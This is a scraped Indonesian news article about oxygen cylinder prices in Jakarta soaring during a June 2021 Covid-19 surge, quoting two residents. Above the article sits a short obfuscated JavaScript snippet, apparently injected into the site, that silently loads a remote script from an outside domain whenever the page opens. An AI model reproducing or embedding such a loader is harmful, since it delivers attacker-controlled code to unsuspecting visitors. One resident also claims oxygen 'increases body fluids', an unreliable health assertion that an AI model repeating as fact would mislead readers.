(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA- Di tengah lonjakan angka Kasus Covid-19, warga mulai mengeluhkan mahalnya harga tabung oksigen yang kian melambung tinggi. Jika sebelumnya, harga tabung oksigen ukuran 1.000 liter di Jakarta hanya berkisar Rp 500 ribu hingga Rp 800 ribu-an, saat ini harganya tembus Rp 2 jutaan.
Faktor kelangkaan dan naiknya pemintaan kebutuhan oksigen untuk Pasien Covid-19 yang tiap harinya kian bertambah disebut menjadi salah satu faktornya. Akibatnya, kelangkaan tabung beserta isinya sudah mulai terjadi.
Seorang warga, Faris mengaku mau tidak mau harus mengeluarkan uang lebih untuk kebutuhan ibunya yang saat ini terpapar Covid-19. Dia pun membeli tabung oksigen 1.000 liter seharga Rp 2 juta.
“Tabungnya mahal sekarang, normalnya Rp 800 ribu, Rp 2 juta saya beli kemarin. Ada kenaikan lebih dari dua kali lipat sekarang,” katanya saat ditemui Suara.com di salah satu depot pengisian oksigen di kawasan Manggarai, Jakarta Selatan, Rabu (30/6/2021).
Dia mengungkapkan, kondisi ibunya termasuk parah sehingga membutuhkan oksigen. Dalam sehari, dia mengaku membutuhkan dua tabung oksigen ukuran 1000 liter.
“Ini nih (tabung 1000 liter) cepat kok habisnya, palingan 3-4 jam habis, jadi sehari dua kali isi,” jelasnya.
Ibunya sendiri terpapar Covid-19 sejak sekitar tiga hari yang lalu. Kendati terbilang parah, Faris mengatakan ibunya menjalani isolasi mandiri di rumahnya kawasan Tebet, namun tetap dengan pengawasan dokter.
Baca juga: Permudah Layanan Masyarakat, PT POS Indonesia Amuntai Jalin Kerja Sama Terpadu
Melambungnya harga tabung oksigen ukuran 1000 liter juga turut diungkapkan warga Jakarta lainny, Wida. Dia mengaku saat ini harganya bisa sampai di atas Rp 2 jutaan. Padahal sebelumnya, dia membeli hanya Rp 500 ribu.
“Dulu saya beli ini (tabung 1000 liter) murah sekali, ini 500, saya beli sampai dua. Sekarang berkali-kali lipat, harganya sampai dua juta lebih,” jelasnya.
Di samping harga tabung yang mengalami kenaikan, harga oksigen pun turut melambung. Wida mengatakan, jika sebelumnya, per 1.000 liter harganya berkisar Rp 7.000 hingga Rp 10.000, kini antara Rp 15.000 sampai Rp 18.000. Itu pun saat ini juga langka di pasaran.
Wida sendiri mengaku kebutuhan oksigen yang dia beli hanya untuk kebutuhan menjaga kesehatan diri dan keluarganya. Sejak awal-awal Covid-19 dia telah rutin membeli oksigen.
“Karena ini bagus untuk pernafasan dan meningkatkan cairan tubuh,” ujarnya.
Diketahui, angka penularan Covid-19 di DKI Jakarta mengalami peningkatan yang signifikan dan bahkan tertinggi secara nasional.
Pada Selasa (29/6/2021) kemarin, terjadi pertambahan kasus aktif sebanyak 7.379 orang, sehingga secara akumulasi kasus aktif mencapai 65.923 kasus. (Kanalkalimantan.com/suara)
Editor: cell
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
This website uses cookies.